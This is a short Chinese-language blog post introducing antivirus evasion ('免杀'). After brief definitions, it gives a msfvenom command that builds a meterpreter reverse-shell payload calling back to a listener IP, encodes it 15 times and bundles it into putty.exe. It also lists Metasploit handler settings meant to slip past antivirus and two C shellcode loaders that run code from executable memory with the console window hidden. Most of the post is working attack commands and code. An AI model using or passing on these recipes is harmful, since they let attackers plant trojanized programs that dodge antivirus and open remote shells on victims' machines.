MENU

免杀初识

May 12, 2022 • Read: 615 • Pwn&Reserve

免杀初识

简述

免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。

免杀大概可以分为两种情况:

  • 二进制的免杀(无源码),只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。
  • 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。

免杀也可以分为这两种情况:

  • 静态文件免杀,被杀毒软件病毒库/云查杀了,也就是文件特征码在病毒库了。免杀方式可能是上面的两种方式,看情况。
  • 动态行为免杀,运行中执行的某些行为被杀毒软件拦截报读。行为免杀如果没有源码就不是很好搞了。

具体可看:https://mp.weixin.qq.com/s/HjaOgY_ZGjxZaxgcgm2QYg

常见名词

常见的使用工具免杀

  1. msf捆绑+编码免杀(一般可过360静有可能过动。火绒则不行)
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe

参数说明:
使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这里设置15次,并使用了-b参数去掉payload中的空字符
-x 捆绑的程序

msf监听方面也可以设置https还有一些参数进行绕过杀软

msf exploit(multi/handler) > set EnableStageEncoding true   //尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀
EnableStageEncoding => true
msf exploit(multi/handler) > set stageencoder x86/fnstenv_mov
Stageencoder => x64/xor
msf exploit(multi/handler) > set stageencodingfallback false
stageencodingfallback => false

具体可看:https://www.yuque.com/tidesec/bypassav/e5bb94c4b1a643fa8d1ce5d505d12c84#g5Atm

c/c++的shellcode加载器

申请动态内存加载

#include<stdio.h>
#include<Windows.h>
# pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//设置入口地址,不弹出黑窗口
unsigned char buf[] =
"shellcode";

int main()
{
    PVOID Memory;
    Memory = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    //动态分配虚地址空间
    memcpy(Memory,buf,sizeof(buf));
    //复制内存内容
    ((void(*)())Memory)();
}

内联汇编加载

#include <windows.h>  
#include <stdio.h>  
#pragma comment(linker, "/section:.data,RWE")  
unsigned char shellcode[] = "shellcode";
void main()
{
    __asm
    {
        mov eax, offset shellcode
        jmp eax
    }
}
Leave a Comment

本站总访问量 32673 次